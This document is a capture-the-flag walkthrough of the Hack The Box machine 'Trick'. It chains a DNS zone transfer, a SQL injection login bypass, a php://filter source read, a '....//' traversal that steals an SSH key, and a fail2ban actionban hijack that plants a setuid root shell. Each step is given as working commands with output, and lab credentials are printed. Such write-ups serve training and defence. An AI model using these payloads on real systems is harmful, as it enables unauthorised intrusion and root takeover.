Trick
A misconfigured BIND zone transfer exposes a payroll vhost, where a SQL injection bypass leads to a php://filter source read. The source reveals a second vhost whose include filter falls to a single-pass traversal bypass, giving an SSH key and a user shell. Root follows by hijacking a fail2ban action file in a group-writable directory and triggering a ban.
Attack path
flowchart LR A["nmap 22/25/53/80"] --> B["AXFR zone transfer"] B --> C["preprod-payroll vhost"] C --> D["SQLi auth bypass"] D --> E["php://filter source read"] E --> F["creds + app map"] B --> G["ffuf preprod- prefix<br/>preprod-marketing vhost"] G --> H["....// traversal bypass<br/>arbitrary file read"] H --> I["michael id_rsa"] I --> J["SSH shell + user flag"] J --> K["sudo fail2ban restart<br/>+ security group"] K --> L["actionban hook via mv -f"] L --> M["nxc ban trigger<br/>runs payload as root"] M --> N["root flag"]
Recon
Step 1 — Port scan
A full TCP scan finds four services.
sudo nmap -sV -sC -T4 10.129.227.180 -p- -o nmap.txt22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u225/tcp open smtp?53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)80/tcp open http nginx 1.14.2DNS on port 53 is the lead: BIND is not common on a web box, and the box name suggests the domain trick.htb by HTB convention.
Step 2 — Zone transfer
allow-transfer is open, so a full zone copy works against the guessed domain.
dig axfr trick.htb @10.129.227.180trick.htb. 604800 IN A 127.0.0.1trick.htb. 604800 IN AAAA ::1preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.The zone leaks one new name: preprod-payroll.trick.htb. Note the zone A record points to 127.0.0.1, so the name must be resolved locally, not through the box’s DNS.
Step 3 — Reach the payroll vhost
Map the name to the box IP and request it. nginx serves sites by Host header, so the bare IP keeps the default page.
echo "10.129.227.180 trick.htb preprod-payroll.trick.htb" | sudo tee -a /etc/hosts
preprod-payroll.trick.htb redirects to /login.php, an “Employee’s Payroll Management System” login form.

The login page JavaScript posts to ajax.php?action=login with username and password, and redirects to index.php?page=home on success. Both details matter later.
Foothold
Step 4 — SQL injection auth bypass
The login query concatenates both parameters, so a tautology bypasses it.
curl -s -c /tmp/trick.cj -X POST 'http://preprod-payroll.trick.htb/ajax.php?action=login' \ --data-urlencode "username=admin' or '1'='1'-- -" \ --data-urlencode "password=x"1The response 1 means an admin session. In a browser, the same payload in the username field logs in directly.


Step 5 — Read PHP source through the include
index.php?page=home includes a file named by the parameter. Direct traversal fails silently for every variant, because the include appends .php to the value. The php://filter wrapper turns that into an advantage: the appended suffix completes the resource name, and the wrapper returns base64 source instead of executing it. The result is arbitrary PHP source read, not arbitrary file read.
curl -s -b /tmp/trick.cj 'http://preprod-payroll.trick.htb/index.php?page=php://filter/convert.base64-encode/resource=index' \ -o /tmp/f1.htmlgrep -oE '[A-Za-z0-9+/=]{200,}' /tmp/f1.html | base64 -d<?php $page = isset($_GET['page']) ? $_GET['page'] : 'home'; ?> <?php include $page.'.php' ?>Step 6 — Audit the application source
Reading db_connect.php, admin_class.php, ajax.php and navbar.php through the same filter gives the database credentials and the application map.
$conn= new mysqli('localhost','remo','TrulyImpossiblePasswordLmao123','payroll_db')or die("Could not connect to mysql".mysqli_error($con));function login(){ extract($_POST); $qry = $this->db->query("SELECT * FROM users where username = '".$username."' and password = '".$password."' ");The password comparison is plaintext, which is why the bypass in step 4 works. An upload endpoint also exists at ajax.php?action=save_settings, but its target directory is not writable by the web user, so it goes nowhere.
Step 7 — Find the sibling vhost
The preprod- prefix is a naming convention, so fuzz the Host header for siblings against the bare IP. The default page is 5480 bytes; anything else is a hit.
ffuf -u http://10.129.227.180 -H "Host: preprod-FUZZ.trick.htb" \ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 5480marketing [Status: 200, Size: 9660, Words: 3007, Lines: 179]preprod-marketing.trick.htb is a second application. Add it to /etc/hosts and browse it.
Step 8 — Traverse past the include filter
The marketing app uses the same index.php?page= pattern and includes any file, but strips ../ from the value first through str_replace("../","",$file), which removes each occurrence exactly once. Inside ....// hides one ../: after the strip removes it, the remaining characters join into a fresh ../. Chaining copies of the pattern traverses to any absolute path.
curl -s 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//....//etc/passwd'root:x:0:0:root:/root:/bin/bash...michael:x:1001:1001::/home/michael:/bin/bashOne human user exists: michael.
Step 9 — Read michael’s SSH key
The file read reaches any path, so pull michael’s private key.
curl -s 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//....//home/michael/.ssh/id_rsa' -o /tmp/id_rsahead -2 /tmp/id_rsa-----BEGIN OPENSSH PRIVATE KEY-----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcnStep 10 — SSH shell and user flag
The key is accepted for SSH as michael.
chmod 600 /tmp/id_rsassh -i /tmp/id_rsa michael@10.129.227.180 'id; cat ~/user.txt'uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)<redacted>The security group membership is the privesc lead.
Privilege escalation
The user flag came with the shell in step 10, so only root remains.
Root — fail2ban actionban hijack
Step 11 — Map the privesc surface
sudo -lUser michael may run the following commands on trick: (root) NOPASSWD: /etc/init.d/fail2ban restartfind / -group security -writable 2>/dev/null/etc/fail2ban/action.dmichael may restart fail2ban as root, and the security group may replace files inside the action directory. The action files are root-owned, but the directory permission is enough to swap them: mv needs write on the directory, not the file.
ls -ld /etc/fail2ban/action.d/drwxrwx--- 2 root security 4096 Nov 5 14:15 /etc/fail2ban/action.d/Step 12 — Replace the action file with a hooked actionban
The default banaction is iptables-multiport, whose actionban runs as root whenever a ban fires. Copy the file out, inject a payload as a continuation line of actionban, and move it back over the original.
cp /etc/fail2ban/action.d/iptables-multiport.conf /tmp/f5.confsed -i '/^actionban =/a\ cp /bin/bash /tmp/rootb\n chmod 4777 /tmp/rootb' /tmp/f5.confgrep -n rootb /tmp/f5.conf && \mv -f /tmp/f5.conf /etc/fail2ban/action.d/iptables-multiport.conf && \sudo /etc/init.d/fail2ban restart42: cp /bin/bash /tmp/rootb43: chmod 4777 /tmp/rootb[ ok ] Restarting fail2ban (via systemctl): fail2ban.service.Hook actionban, not actionstart. On fail2ban 0.10.x the action commands execute when a ban fires, not when the jail starts, so a restart alone never runs the payload. Keep the payload plain sh: the commands run through dash, so nested quotes and bash /dev/tcp redirections fail silently.
Step 13 — Trigger a ban
The jail needs five failures within findtime. The parsed configuration shows the budget:
fail2ban-client -d 2>&1 | grep -E "maxretry|findtime|bantime"['set', 'sshd', 'maxretry', '5']['set', 'sshd', 'findtime', '10s']['set', 'sshd', 'bantime', '10s']A single-threaded brute-force tool fires fast enough; bantime is ten seconds, so the ban expires immediately after.
nxc ssh 10.129.227.180 -u nonexistent -p /usr/share/wordlists/rockyou.txt --ignore-pw-decodingWhen the fifth failure lands inside the window, the ban fires and actionban runs as root.
ls -la /tmp/rootb-rwsrwxrwx 1 root root 1168776 Nov 5 15:23 /tmp/rootbStep 14 — Root shell and flag
The dropped binary is setuid root.
/tmp/rootb -pid && cat /root/root.txtuid=1001(michael) gid=1001(michael) euid=0(root) groups=1001(michael),1002(security)<redacted>Lessons learned
- A DNS server on a box is an attack surface: test zone transfer early, and remember the leaked
Arecord may point to127.0.0.1, so resolve vhosts through/etc/hostswith the real IP. - An include that appends
.phpis not a dead LFI —php://filterwith the appended suffix gives arbitrary PHP source read, which is usually enough to find credentials and a second vhost. str_replace("../","")is a single pass;....//reassembles after it.- Directory write beats file permissions:
mv -freplaces root-owned files in a group-writable directory. - fail2ban actions run at ban time. The hook belongs in
actionban, the payload in plainsh, and the trigger must respectfindtime— check it withfail2ban-client -dbefore burning attempts.